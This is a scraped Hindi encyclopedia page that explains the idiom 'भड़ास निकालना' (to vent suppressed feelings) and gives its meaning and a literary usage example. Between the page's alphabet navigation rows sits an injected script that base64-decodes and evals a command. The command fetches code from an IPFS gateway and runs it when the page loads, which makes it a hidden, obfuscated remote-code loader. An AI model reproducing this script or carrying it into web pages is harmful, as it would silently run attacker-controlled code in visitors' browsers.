भड़ास निकालना  

भड़ास निकालना एक प्रचलित लोकोक्ति अथवा हिन्दी मुहावरा है।

अर्थ- मन के दबे भावों को फूट निकलने देना।

प्रयोग- नंदी की भाभी अपने कुत्सित बच्चों के चेहरों से उस सलोने चेहरे का मिलान करती और सारी भड़ास नंदी के मत्थे निकालती। (शिवानी)

टीका टिप्पणी और संदर्भ

संबंधित लेख

कहावत लोकोक्ति मुहावरे वर्णमाला क्रमानुसार खोजें

                              अं                                                                                              क्ष    त्र    श्र

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=भड़ास_निकालना&oldid=625399" से लिया गया